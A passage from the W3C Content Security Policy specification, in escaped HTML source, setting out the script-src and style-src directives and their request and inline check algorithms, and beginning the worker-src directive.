of executing <a href=\"#match-response-to-source-list\">§6.6.1.4 Does response to request match source list?</a> on <var>response</var>, <var>request</var>, and this directive’s <a data-link-type=\"dfn\" href=\"#directive-value\" id=\"ref-for-directive-value②⑥\">value</a> is \"<code>Does Not Match</code>\", return\n  \"<code>Blocked</code>\".</p>\n      </ol>\n     <li data-md=\"\">\n      <p>Return \"<code>Allowed</code>\".</p>\n    </ol>\n    <h4 class=\"heading settled\" data-level=\"6.1.10\" id=\"directive-script-src\"><span class=\"secno\">6.1.10. </span><span class=\"content\"><code>script-src</code></span><a class=\"self-link\" href=\"#directive-script-src\"></a></h4>\n    <p>The <dfn class=\"dfn-paneled\" data-dfn-type=\"dfn\" data-export=\"\" id=\"script-src\">script-src</dfn> directive restricts the locations from which scripts\n  may be executed. This includes not only URLs loaded directly into <code><a data-link-type=\"element\" href=\"https://html.spec.whatwg.org/multipage/scripting.html#script\" id=\"ref-for-script③\">script</a></code> elements, but also things like inline script blocks and XSLT stylesheets <a data-link-type=\"biblio\" href=\"#biblio-xslt\">[XSLT]</a> which can trigger script execution. The syntax for the directive’s\n  name and value is described by the following ABNF:</p>\n<pre>directive-name  = \"script-src\"\ndirective-value = <a data-link-type=\"grammar\" href=\"#grammardef-serialized-source-list\" id=\"ref-for-grammardef-serialized-source-list⑨\">serialized-source-list</a>\n</pre>\n    <p>The <code>script-src</code> directive governs four things:</p>\n    <ol>\n     <li data-md=\"\">\n      <p>Script <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-request\" id=\"ref-for-concept-request③⑨\">requests</a> MUST pass through <a href=\"#should-block-request\">§4.1.3 Should request be blocked by Content Security Policy?</a>.</p>\n     <li data-md=\"\">\n      <p>Script <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-response\" id=\"ref-for-concept-response②⑥\">responses</a> MUST pass through <a href=\"#should-block-response\">§4.1.4 Should response to request be blocked by Content\n    Security Policy?</a>.</p>\n     <li data-md=\"\">\n      <p>Inline <code><a data-link-type=\"element\" href=\"https://html.spec.whatwg.org/multipage/scripting.html#script\" id=\"ref-for-script④\">script</a></code> blocks MUST pass through <a href=\"#should-block-inline\">§4.2.4 Should element’s inline type behavior be blocked by Content Security Policy?</a>. Their\n  behavior will be blocked unless every policy allows inline script, either\n  implicitly by not specifying a <code>script-src</code> (or <code>default-src</code>) directive,\n  or explicitly, by specifying \"<code>unsafe-inline</code>\", a <a data-link-type=\"grammar\" href=\"#grammardef-nonce-source\" id=\"ref-for-grammardef-nonce-source②\">nonce-source</a> or a <a data-link-type=\"grammar\" href=\"#grammardef-hash-source\" id=\"ref-for-grammardef-hash-source②\">hash-source</a> that matches\n  the inline block.</p>\n     <li data-md=\"\">\n      <p>The following JavaScript execution sinks are gated on the \"<code>unsafe-eval</code>\"\n  source expression:</p>\n      <ul>\n       <li data-md=\"\">\n        <p><code class=\"idl\"><a data-link-type=\"idl\" href=\"https://tc39.github.io/ecma262#sec-eval-x\" id=\"ref-for-sec-eval-x①\">eval()</a></code></p>\n       <li data-md=\"\">\n        <p><code class=\"idl\"><a data-link-type=\"idl\" href=\"https://tc39.github.io/ecma262#sec-function-objects\" id=\"ref-for-sec-function-objects\">Function()</a></code></p>\n       <li data-md=\"\">\n        <p><code class=\"idl\"><a data-link-type=\"idl\" href=\"https://html.spec.whatwg.org/multipage/timers-and-user-prompts.html#dom-settimeout\" id=\"ref-for-dom-settimeout\">setTimeout()</a></code> with an initial argument which is not callable.</p>\n       <li data-md=\"\">\n        <p><code class=\"idl\"><a data-link-type=\"idl\" href=\"https://html.spec.whatwg.org/multipage/timers-and-user-prompts.html#dom-setinterval\" id=\"ref-for-dom-setinterval\">setInterval()</a></code> with an initial argument which is not callable.</p>\n      </ul>\n      <p class=\"note\" role=\"note\"><span>Note:</span> If a user agent implements non-standard sinks like <code>setImmediate()</code> or <code>execScript()</code>, they SHOULD also be gated on \"<code>unsafe-eval</code>\".</p>\n    </ol>\n    <h5 class=\"heading settled algorithm\" data-algorithm=\"script-src Pre-request check\" data-level=\"6.1.10.1\" id=\"script-src-pre-request\"><span class=\"secno\">6.1.10.1. </span><span class=\"content\"> <code>script-src</code> Pre-request check </span><a class=\"self-link\" href=\"#script-src-pre-request\"></a></h5>\n    <p>This directive’s <a data-link-type=\"dfn\" href=\"#directive-pre-request-check\" id=\"ref-for-directive-pre-request-check①②\">pre-request check</a> is as follows:</p>\n    <p>Given a <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-request\" id=\"ref-for-concept-request④⓪\">request</a> (<var>request</var>) and a <a data-link-type=\"dfn\" href=\"#content-security-policy-object\" id=\"ref-for-content-security-policy-object④⑥\">policy</a> (<var>policy</var>):</p>\n    <ol>\n     <li data-md=\"\">\n      <p>If the result of executing <a href=\"#effective-directive-for-a-request\">§6.6.1.11 Get the effective directive for request</a> on <var>request</var> is \"<code>worker-src</code>\", and <var>policy</var> contains a <a data-link-type=\"dfn\" href=\"#directives\" id=\"ref-for-directives②⑤\">directive</a> whose <a data-link-type=\"dfn\" href=\"#directive-name\" id=\"ref-for-directive-name②⓪\">name</a> is \"<code>worker-src</code>\", return \"<code>Allowed</code>\".</p>\n      <p class=\"note\" role=\"note\"><span>Note:</span> If <code>worker-src</code> is present, we’ll defer to it when handling worker requests.</p>\n     <li data-md=\"\">\n      <p>If <var>request</var>’s <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-request-destination\" id=\"ref-for-concept-request-destination①⑧\">destination</a> is <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#request-destination-script-like\" id=\"ref-for-request-destination-script-like\">script-like</a>:</p>\n      <ol>\n       <li data-md=\"\">\n        <p>If the result of executing <a href=\"#match-nonce-to-source-list\">§6.6.1.2 Does nonce match source list?</a> on <var>request</var>’s <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-request-nonce-metadata\" id=\"ref-for-concept-request-nonce-metadata①\">cryptographic nonce metadata</a> and this\n  directive’s <a data-link-type=\"dfn\" href=\"#directive-value\" id=\"ref-for-directive-value②⑦\">value</a> is \"<code>Matches</code>\", return\n  \"<code>Allowed</code>\".</p>\n       <li data-md=\"\">\n        <p>Let <var>integrity expressions</var> be the set of <a data-link-type=\"dfn\" href=\"#source-expression\" id=\"ref-for-source-expression③\">source expressions</a> in\n  this directive’s <a data-link-type=\"dfn\" href=\"#directive-value\" id=\"ref-for-directive-value②⑧\">value</a> that match the <a data-link-type=\"grammar\" href=\"#grammardef-hash-source\" id=\"ref-for-grammardef-hash-source③\">hash-source</a> grammar.</p>\n       <li data-md=\"\">\n        <p>If <var>integrity expressions</var> is not empty:</p>\n        <ol>\n         <li data-md=\"\">\n          <p>Let <var>integrity sources</var> be the result of executing the algorithn\n  defined in <a href=\"https://www.w3.org/TR/SRI/#parse-metadata\">Subresource Integrity §parse-metadata</a> on <var>request</var>’s <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-request-integrity-metadata\" id=\"ref-for-concept-request-integrity-metadata\">integrity metadata</a>. <a data-link-type=\"biblio\" href=\"#biblio-sri\">[SRI]</a></p>\n         <li data-md=\"\">\n          <p>If <var>integrity sources</var> is \"<code>no metadata</code>\" or an empty set, skip\n  the remaining substeps.</p>\n         <li data-md=\"\">\n          <p>Let <var>bypass due to integrity match</var> be <code>true</code>.</p>\n         <li data-md=\"\">\n          <p>For each <var>source</var> in <var>integrity sources</var>:</p>\n          <ol>\n           <li data-md=\"\">\n            <p>If this directive’s <a data-link-type=\"dfn\" href=\"#directive-value\" id=\"ref-for-directive-value②⑨\">value</a> does not\n  contain a <a data-link-type=\"dfn\" href=\"#source-expression\" id=\"ref-for-source-expression④\">source expression</a> whose <a data-link-type=\"grammar\" href=\"#grammardef-hash-algorithm\" id=\"ref-for-grammardef-hash-algorithm①\">hash-algorithm</a> is a <a data-link-type=\"dfn\" href=\"https://html.spec.whatwg.org/multipage/infrastructure.html#case-sensitive\" id=\"ref-for-case-sensitive\">case-sensitive</a> match\n  for <var>source</var>’s <code>hash-algo</code> component, and whose <a data-link-type=\"grammar\" href=\"#grammardef-base64-value\" id=\"ref-for-grammardef-base64-value④\">base64-value</a> is a <a data-link-type=\"dfn\" href=\"https://html.spec.whatwg.org/multipage/infrastructure.html#case-sensitive\" id=\"ref-for-case-sensitive①\">case-sensitive</a> match\n  for <var>source</var>’s <code>base64-value</code>, then set <var>bypass due to\n  integrity match</var> to <code>false</code>.</p>\n          </ol>\n         <li data-md=\"\">\n          <p>If <var>bypass due to integrity match</var> is <code>true</code>, return\n  \"<code>Allowed</code>\".</p>\n        </ol>\n        <p class=\"note\" role=\"note\"><span>Note:</span> Here, we verify only that the <var>request</var> contains a set of <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-request-integrity-metadata\" id=\"ref-for-concept-request-integrity-metadata①\">integrity metadata</a> which is a subset of the <a data-link-type=\"grammar\" href=\"#grammardef-hash-source\" id=\"ref-for-grammardef-hash-source④\">hash-source</a> <a data-link-type=\"dfn\" href=\"#source-expression\" id=\"ref-for-source-expression⑤\">source expressions</a> specified by\n  this directive. We rely on the browser’s enforcement of Subresource\n  Integrity <a data-link-type=\"biblio\" href=\"#biblio-sri\">[SRI]</a> to block non-matching resources upon response.</p>\n       <li data-md=\"\">\n        <p>If this directive’s <a data-link-type=\"dfn\" href=\"#directive-value\" id=\"ref-for-directive-value③⓪\">value</a> contains a <a data-link-type=\"dfn\" href=\"#source-expression\" id=\"ref-for-source-expression⑥\">source\n  expression</a> that is an <a data-link-type=\"dfn\" href=\"https://infra.spec.whatwg.org/#ascii-case-insensitive\" id=\"ref-for-ascii-case-insensitive②\">ASCII case-insensitive</a> match for\n  the \"<a data-link-type=\"grammar\" href=\"#grammardef-strict-dynamic\" id=\"ref-for-grammardef-strict-dynamic\"><code>'strict-dynamic'</code></a>\" <a data-link-type=\"grammar\" href=\"#grammardef-keyword-source\" id=\"ref-for-grammardef-keyword-source①\">keyword-source</a>:</p>\n        <ol>\n         <li data-md=\"\">\n          <p>If the <var>request</var>’s <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-request-parser-metadata\" id=\"ref-for-concept-request-parser-metadata①\">parser metadata</a> is <a data-link-type=\"dfn\" href=\"https://html.spec.whatwg.org/multipage/scripting.html#parser-inserted\" id=\"ref-for-parser-inserted①\">\"parser-inserted\"</a>, return \"<code>Blocked</code>\".</p>\n          <p>Otherwise, return \"<code>Allowed</code>\".</p>\n          <p class=\"note\" role=\"note\"><span>Note:</span> \"<a data-link-type=\"grammar\" href=\"#grammardef-strict-dynamic\" id=\"ref-for-grammardef-strict-dynamic①\"><code>'strict-dynamic'</code></a>\" is explained in more detail\n  in <a href=\"#strict-dynamic-usage\">§8.2 Usage of \"'strict-dynamic'\"</a>.</p>\n        </ol>\n       <li data-md=\"\">\n        <p>If the result of executing <a href=\"#match-request-to-source-list\">§6.6.1.3 Does request match source list?</a> on <var>request</var> and this directive’s <a data-link-type=\"dfn\" href=\"#directive-value\" id=\"ref-for-directive-value③①\">value</a> is\n  \"<code>Does Not Match</code>\", return \"<code>Blocked</code>\".</p>\n      </ol>\n     <li data-md=\"\">\n      <p>Return \"<code>Allowed</code>\".</p>\n    </ol>\n    <h5 class=\"heading settled algorithm\" data-algorithm=\"script-src Post-request check\" data-level=\"6.1.10.2\" id=\"script-src-post-request\"><span class=\"secno\">6.1.10.2. </span><span class=\"content\"> <code>script-src</code> Post-request check </span><a class=\"self-link\" href=\"#script-src-post-request\"></a></h5>\n    <p>This directive’s <a data-link-type=\"dfn\" href=\"#directive-post-request-check\" id=\"ref-for-directive-post-request-check①③\">post-request check</a> is as follows:</p>\n    <p>Given a <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-request\" id=\"ref-for-concept-request④①\">request</a> (<var>request</var>), a <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-response\" id=\"ref-for-concept-response②⑦\">response</a> (<var>response</var>), and a <a data-link-type=\"dfn\" href=\"#content-security-policy-object\" id=\"ref-for-content-security-policy-object④⑦\">policy</a> (<var>policy</var>):</p>\n    <ol>\n     <li data-md=\"\">\n      <p>If the result of executing <a href=\"#effective-directive-for-a-request\">§6.6.1.11 Get the effective directive for request</a> on <var>request</var> is \"<code>worker-src</code>\", and <var>policy</var> contains a <a data-link-type=\"dfn\" href=\"#directives\" id=\"ref-for-directives②⑥\">directive</a> whose <a data-link-type=\"dfn\" href=\"#directive-name\" id=\"ref-for-directive-name②①\">name</a> is \"<code>worker-src</code>\", return \"<code>Allowed</code>\".</p>\n      <p class=\"note\" role=\"note\"><span>Note:</span> If <code>worker-src</code> is present, we’ll defer to it when handling worker requests.</p>\n     <li data-md=\"\">\n      <p>If <var>request</var>’s <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-request-destination\" id=\"ref-for-concept-request-destination①⑨\">destination</a> is <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#request-destination-script-like\" id=\"ref-for-request-destination-script-like①\">script-like</a>:</p>\n      <ol>\n       <li data-md=\"\">\n        <p>If the result of executing <a href=\"#match-nonce-to-source-list\">§6.6.1.2 Does nonce match source list?</a> on <var>request</var>’s <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-request-nonce-metadata\" id=\"ref-for-concept-request-nonce-metadata②\">cryptographic nonce metadata</a> and this\n  directive’s <a data-link-type=\"dfn\" href=\"#directive-value\" id=\"ref-for-directive-value③②\">value</a> is \"<code>Matches</code>\", return\n  \"<code>Allowed</code>\".</p>\n       <li data-md=\"\">\n        <p>If this directive’s <a data-link-type=\"dfn\" href=\"#directive-value\" id=\"ref-for-directive-value③③\">value</a> contains\n  \"<a data-link-type=\"grammar\" href=\"#grammardef-strict-dynamic\" id=\"ref-for-grammardef-strict-dynamic②\"><code>'strict-dynamic'</code></a>\", and <var>request</var>’s <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-request-parser-metadata\" id=\"ref-for-concept-request-parser-metadata②\">parser metadata</a> is not <a data-link-type=\"dfn\" href=\"https://html.spec.whatwg.org/multipage/scripting.html#parser-inserted\" id=\"ref-for-parser-inserted②\">\"parser-inserted\"</a>,\n  return \"<code>Allowed</code>\".</p>\n       <li data-md=\"\">\n        <p>If the result of executing <a href=\"#match-response-to-source-list\">§6.6.1.4 Does response to request match source list?</a> on <var>response</var>, <var>request</var>, and this directive’s <a data-link-type=\"dfn\" href=\"#directive-value\" id=\"ref-for-directive-value③④\">value</a> is \"<code>Does Not Match</code>\", return\n  \"<code>Blocked</code>\".</p>\n      </ol>\n     <li data-md=\"\">\n      <p>Return \"<code>Allowed</code>\".</p>\n    </ol>\n    <h5 class=\"heading settled algorithm\" data-algorithm=\"script-src Inline Check\" data-level=\"6.1.10.3\" id=\"script-src-inline\"><span class=\"secno\">6.1.10.3. </span><span class=\"content\"> <code>script-src</code> Inline Check </span><a class=\"self-link\" href=\"#script-src-inline\"></a></h5>\n    <p>This directive’s <a data-link-type=\"dfn\" href=\"#directive-inline-check\" id=\"ref-for-directive-inline-check②\">inline check</a> algorithm is as follows:</p>\n    <p>Given an <code class=\"idl\"><a data-link-type=\"idl\" href=\"https://dom.spec.whatwg.org/#element\" id=\"ref-for-element②\">Element</a></code> (<var>element</var>), a string (<var>type</var>), and a string (<var>source</var>):</p>\n    <ol>\n     <li data-md=\"\">\n      <p>If <var>type</var> is \"<code>script attribute</code>\" or \"<code>script</code>\":</p>\n      <ol>\n       <li data-md=\"\">\n        <p class=\"assertion\">Assert: <var>element</var> is not <code>null</code>.</p>\n       <li data-md=\"\">\n        <p>If the result of executing <a href=\"#match-element-to-source-list\">§6.6.2.3 Does element match source list for type and source?</a> on <var>element</var>, this directive’s <a data-link-type=\"dfn\" href=\"#directive-value\" id=\"ref-for-directive-value③⑤\">value</a>, <var>type</var>,\n  and <var>source</var>, is \"<code>Does Not Match</code>\", return \"<code>Blocked</code>\".</p>\n      </ol>\n     <li data-md=\"\">\n      <p>If <var>type</var> is \"<code>navigation</code>\":</p>\n      <ol>\n       <li data-md=\"\">\n        <p>Let <var>unsafe-inline flag</var> be <code>false</code>.</p>\n       <li data-md=\"\">\n        <p>For each <var>expression</var> in this directive’s <a data-link-type=\"dfn\" href=\"#directive-value\" id=\"ref-for-directive-value③⑥\">value</a>:</p>\n        <ol>\n         <li data-md=\"\">\n          <p>If <var>expression</var> matches the <a data-link-type=\"grammar\" href=\"#grammardef-nonce-source\" id=\"ref-for-grammardef-nonce-source③\"><code>nonce-source</code></a> or <a data-link-type=\"grammar\" href=\"#grammardef-hash-source\" id=\"ref-for-grammardef-hash-source⑤\"><code>hash-source</code></a> grammar, return \"<code>Blocked</code>\".</p>\n         <li data-md=\"\">\n          <p>If <var>expression</var> matches the <a data-link-type=\"grammar\" href=\"#grammardef-keyword-source\" id=\"ref-for-grammardef-keyword-source②\">keyword-source</a> \"<a data-link-type=\"grammar\" href=\"#grammardef-strict-dynamic\" id=\"ref-for-grammardef-strict-dynamic③\"><code>'strict-dynamic'</code></a>\", return \"<code>Blocked</code>\".</p>\n         <li data-md=\"\">\n          <p>If <var>expression</var> matches the <a data-link-type=\"grammar\" href=\"#grammardef-keyword-source\" id=\"ref-for-grammardef-keyword-source③\">keyword-source</a> \"<a data-link-type=\"grammar\" href=\"#grammardef-unsafe-inline\" id=\"ref-for-grammardef-unsafe-inline①\"><code>'unsafe-inline'</code></a>\", set <var>unsafe-inline flag</var> to <code>true</code>.</p>\n        </ol>\n       <li data-md=\"\">\n        <p>If <var>unsafe-inline flag</var> is <code>false</code>, return \"<code>Blocked</code>\".</p>\n      </ol>\n      <p class=\"note\" role=\"note\"><span>Note:</span> Navigating to a <code>javascript:</code> URL is allowed only in the presence\n  of \"<a data-link-type=\"grammar\" href=\"#grammardef-unsafe-inline\" id=\"ref-for-grammardef-unsafe-inline②\"><code>'unsafe-inline'</code></a>\" that isn’t overridden by a nonce,\n  hash, or \"<a data-link-type=\"grammar\" href=\"#grammardef-strict-dynamic\" id=\"ref-for-grammardef-strict-dynamic④\"><code>'strict-dynamic'</code></a>\".</p>\n     <li data-md=\"\">\n      <p>Return \"<code>Allowed</code>\".</p>\n    </ol>\n    <h4 class=\"heading settled\" data-level=\"6.1.11\" id=\"directive-style-src\"><span class=\"secno\">6.1.11. </span><span class=\"content\"><code>style-src</code></span><a class=\"self-link\" href=\"#directive-style-src\"></a></h4>\n    <p>The <dfn class=\"dfn-paneled\" data-dfn-type=\"dfn\" data-export=\"\" id=\"style-src\">style-src</dfn> directive restricts the locations from which style\n  may be applied to a <code class=\"idl\"><a data-link-type=\"idl\" href=\"https://dom.spec.whatwg.org/#document\" id=\"ref-for-document①②\">Document</a></code>. The syntax for the directive’s name and\n  value is described by the following ABNF:</p>\n<pre>directive-name  = \"style-src\"\ndirective-value = <a data-link-type=\"grammar\" href=\"#grammardef-serialized-source-list\" id=\"ref-for-grammardef-serialized-source-list①⓪\">serialized-source-list</a>\n</pre>\n    <p>The <code>style-src</code> directive governs several things:</p>\n    <ol>\n     <li data-md=\"\">\n      <p>Style <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-request\" id=\"ref-for-concept-request④②\">requests</a> MUST pass through <a href=\"#should-block-request\">§4.1.3 Should request be blocked by Content Security Policy?</a>. This\n  includes:</p>\n      <ol>\n       <li data-md=\"\">\n        <p>Stylesheet requests originating from a <code><a data-link-type=\"element\" href=\"https://html.spec.whatwg.org/multipage/semantics.html#the-link-element\" id=\"ref-for-the-link-element①\">link</a></code> element.</p>\n       <li data-md=\"\">\n        <p>Stylesheet requests originating from the <a class=\"css\" data-link-type=\"at-rule\" href=\"https://www.w3.org/TR/css-cascade-4/#at-ruledef-import\" id=\"ref-for-at-ruledef-import\"><code>@import</code></a> rule.</p>\n       <li data-md=\"\">\n        <p>Stylesheet requests originating from a <code>Link</code> HTTP response header\n  field <a data-link-type=\"biblio\" href=\"#biblio-rfc8288\">[RFC8288]</a>.</p>\n      </ol>\n     <li data-md=\"\">\n      <p><a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-response\" id=\"ref-for-concept-response②⑧\">Responses</a> to style requests MUST pass through <a href=\"#should-block-response\">§4.1.4 Should response to request be blocked by Content\n    Security Policy?</a>.</p>\n     <li data-md=\"\">\n      <p>Inline <code><a data-link-type=\"element\" href=\"https://html.spec.whatwg.org/multipage/semantics.html#the-style-element\" id=\"ref-for-the-style-element\">style</a></code> blocks MUST pass through <a href=\"#should-block-inline\">§4.2.4 Should element’s inline type behavior be blocked by Content Security Policy?</a>. The\n  styles will be blocked unless every policy allows inline style, either\n  implicitly by not specifying a <code>style-src</code> (or <code>default-src</code>) directive,\n  or explicitly, by specifying \"<code>unsafe-inline</code>\", a <a data-link-type=\"grammar\" href=\"#grammardef-nonce-source\" id=\"ref-for-grammardef-nonce-source④\">nonce-source</a> or a <a data-link-type=\"grammar\" href=\"#grammardef-hash-source\" id=\"ref-for-grammardef-hash-source⑥\">hash-source</a> that matches\n  the inline block.</p>\n     <li data-md=\"\">\n      <p>The following CSS algorithms are gated on the <code>unsafe-eval</code> source\n  expression:</p>\n      <ol>\n       <li data-md=\"\">\n        <p><a data-link-type=\"dfn\" href=\"https://www.w3.org/TR/cssom-1/#insert-a-css-rule\" id=\"ref-for-insert-a-css-rule\">insert a CSS rule</a></p>\n       <li data-md=\"\">\n        <p><a data-link-type=\"dfn\" href=\"https://www.w3.org/TR/cssom-1/#parse-a-css-rule\" id=\"ref-for-parse-a-css-rule\">parse a CSS rule</a>,</p>\n       <li data-md=\"\">\n        <p><a data-link-type=\"dfn\" href=\"https://www.w3.org/TR/cssom-1/#parse-a-css-declaration-block\" id=\"ref-for-parse-a-css-declaration-block\">parse a CSS declaration block</a></p>\n       <li data-md=\"\">\n        <p><a data-link-type=\"dfn\" href=\"https://www.w3.org/TR/cssom-1/#parse-a-group-of-selectors\" id=\"ref-for-parse-a-group-of-selectors\">parse a group of selectors</a></p>\n      </ol>\n      <p>This would include, for example, all invocations of CSSOM’s various <code>cssText</code> setters and <code>insertRule</code> methods <a data-link-type=\"biblio\" href=\"#biblio-cssom\">[CSSOM]</a> <a data-link-type=\"biblio\" href=\"#biblio-html\">[HTML]</a>.</p>\n      <p class=\"issue\" id=\"issue-ba1a0a35\"><a class=\"self-link\" href=\"#issue-ba1a0a35\"></a> This needs to be better explained. <a href=\"https://github.com/w3c/webappsec-csp/issues/212\">&lt;https://github.com/w3c/webappsec-csp/issues/212></a></p>\n    </ol>\n    <h5 class=\"heading settled algorithm\" data-algorithm=\"style-src Pre-request Check\" data-level=\"6.1.11.1\" id=\"style-src-pre-request\"><span class=\"secno\">6.1.11.1. </span><span class=\"content\"> <code>style-src</code> Pre-request Check </span><a class=\"self-link\" href=\"#style-src-pre-request\"></a></h5>\n    <p>This directive’s <a data-link-type=\"dfn\" href=\"#directive-pre-request-check\" id=\"ref-for-directive-pre-request-check①③\">pre-request check</a> is as follows:</p>\n    <p>Given a <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-request\" id=\"ref-for-concept-request④③\">request</a> (<var>request</var>) and a <a data-link-type=\"dfn\" href=\"#content-security-policy-object\" id=\"ref-for-content-security-policy-object④⑧\">policy</a> (<var>policy</var>):</p>\n    <ol>\n     <li data-md=\"\">\n      <p class=\"assertion\">Assert: <var>policy</var> is unused.</p>\n     <li data-md=\"\">\n      <p>If <var>request</var>’s <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-request-destination\" id=\"ref-for-concept-request-destination②⓪\">destination</a> is \"<code>style</code>\":</p>\n      <ol>\n       <li data-md=\"\">\n        <p>If the result of executing <a href=\"#match-nonce-to-source-list\">§6.6.1.2 Does nonce match source list?</a> on <var>request</var>’s <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-request-nonce-metadata\" id=\"ref-for-concept-request-nonce-metadata③\">cryptographic nonce metadata</a> and this\n  directive’s <a data-link-type=\"dfn\" href=\"#directive-value\" id=\"ref-for-directive-value③⑦\">value</a> is \"<code>Matches</code>\", return\n  \"<code>Allowed</code>\".</p>\n       <li data-md=\"\">\n        <p>If the result of executing <a href=\"#match-request-to-source-list\">§6.6.1.3 Does request match source list?</a> on <var>request</var> and this directive’s <a data-link-type=\"dfn\" href=\"#directive-value\" id=\"ref-for-directive-value③⑧\">value</a> is\n  \"<code>Does Not Match</code>\", return \"<code>Blocked</code>\".</p>\n      </ol>\n     <li data-md=\"\">\n      <p>Return \"<code>Allowed</code>\".</p>\n    </ol>\n    <h5 class=\"heading settled algorithm\" data-algorithm=\"style-src Post-request Check\" data-level=\"6.1.11.2\" id=\"style-src-post-request\"><span class=\"secno\">6.1.11.2. </span><span class=\"content\"> <code>style-src</code> Post-request Check </span><a class=\"self-link\" href=\"#style-src-post-request\"></a></h5>\n    <p>This directive’s <a data-link-type=\"dfn\" href=\"#directive-post-request-check\" id=\"ref-for-directive-post-request-check①④\">post-request check</a> is as follows:</p>\n    <p>Given a <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-request\" id=\"ref-for-concept-request④④\">request</a> (<var>request</var>), a <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-response\" id=\"ref-for-concept-response②⑨\">response</a> (<var>response</var>), and a <a data-link-type=\"dfn\" href=\"#content-security-policy-object\" id=\"ref-for-content-security-policy-object④⑨\">policy</a> (<var>policy</var>):</p>\n    <ol>\n     <li data-md=\"\">\n      <p class=\"assertion\">Assert: <var>policy</var> is unused.</p>\n     <li data-md=\"\">\n      <p>If <var>request</var>’s <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-request-destination\" id=\"ref-for-concept-request-destination②①\">destination</a> is \"<code>style</code>\":</p>\n      <ol>\n       <li data-md=\"\">\n        <p>If the result of executing <a href=\"#match-nonce-to-source-list\">§6.6.1.2 Does nonce match source list?</a> on <var>request</var>’s <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-request-nonce-metadata\" id=\"ref-for-concept-request-nonce-metadata④\">cryptographic nonce metadata</a> and this\n  directive’s <a data-link-type=\"dfn\" href=\"#directive-value\" id=\"ref-for-directive-value③⑨\">value</a> is \"<code>Matches</code>\", return\n  \"<code>Allowed</code>\".</p>\n       <li data-md=\"\">\n        <p>If the result of executing <a href=\"#match-response-to-source-list\">§6.6.1.4 Does response to request match source list?</a> on <var>response</var>, <var>request</var>, and this directive’s <a data-link-type=\"dfn\" href=\"#directive-value\" id=\"ref-for-directive-value④⓪\">value</a> is \"<code>Does Not Match</code>\", return\n  \"<code>Blocked</code>\".</p>\n      </ol>\n     <li data-md=\"\">\n      <p>Return \"<code>Allowed</code>\".</p>\n    </ol>\n    <h5 class=\"heading settled algorithm\" data-algorithm=\"style-src Inline Check\" data-level=\"6.1.11.3\" id=\"style-src-inline\"><span class=\"secno\">6.1.11.3. </span><span class=\"content\"> <code>style-src</code> Inline Check </span><a class=\"self-link\" href=\"#style-src-inline\"></a></h5>\n    <p>This directive’s <a data-link-type=\"dfn\" href=\"#directive-inline-check\" id=\"ref-for-directive-inline-check③\">inline check</a> algorithm is as follows:</p>\n    <p>Given an <code class=\"idl\"><a data-link-type=\"idl\" href=\"https://dom.spec.whatwg.org/#element\" id=\"ref-for-element③\">Element</a></code> (<var>element</var>), a string (<var>type</var>), and a string (<var>source</var>):</p>\n    <ol>\n     <li data-md=\"\">\n      <p>If <var>type</var> is \"<code>style</code>\" or \"<code>style attribute</code>\":</p>\n      <ol>\n       <li data-md=\"\">\n        <p>If the result of executing <a href=\"#match-element-to-source-list\">§6.6.2.3 Does element match source list for type and source?</a> on <var>element</var>, this directive’s <a data-link-type=\"dfn\" href=\"#directive-value\" id=\"ref-for-directive-value④①\">value</a>, <var>type</var>,\n  and <var>source</var>, is \"<code>Does Not Match</code>\", return \"<code>Blocked</code>\".</p>\n      </ol>\n     <li data-md=\"\">\n      <p>Return \"<code>Allowed</code>\".</p>\n    </ol>\n    <p>This directive’s <a data-link-type=\"dfn\" href=\"#directive-initialization\" id=\"ref-for-directive-initialization①\">initialization</a> algorithm is as follows:</p>\n    <p class=\"issue\" id=\"issue-eba1ebc1\"><a class=\"self-link\" href=\"#issue-eba1ebc1\"></a> Do something interesting to the execution context in order to lock down\n  interesting CSSOM algorithms. I don’t think CSSOM gives us any hooks here, so\n  let’s work with them to put something reasonable together.</p>\n    <h4 class=\"heading settled\" data-level=\"6.1.12\" id=\"directive-worker-src\"><span class=\"secno\">6.1.12. </span><span class=\"content\"><code>worker-src</code></span><a class=\"self-link\" href=\"#directive-worker-src\"></a></h4>\n    <p>The <dfn class=\"dfn-paneled\" data-dfn-type=\"dfn\" data-export=\"\" id=\"worker-src\">worker-src</dfn> directive restricts the URLs which may be loaded as\n  a <code class=\"idl\"><a data-link-type=\"idl\" href=\"https://html.spec.whatwg.org/multipage/workers.html#worker\" id=\"ref-for-worker②\">Worker</a></code>, <code class=\"idl\"><a data-link-type=\"idl\" href=\"https://html.spec.whatwg.org/multipage/workers.html#sharedworker\" id=\"ref-for-sharedworker①\">SharedWorker</a></code>, or <code class=\"idl\"><a data-link-type=\"idl\" href=\"https://w3c.github.io/ServiceWorker/#serviceworker\" id=\"ref-for-serviceworker①\">ServiceWorker</a></code>. The syntax for the\n  directive’s name and value is described by the following ABNF:</p>\n<pre>directive-name  = \"worker-src\"\ndirective-value = <a data-link-type=\"grammar\" href=\"#grammardef-serialized-source-list\" 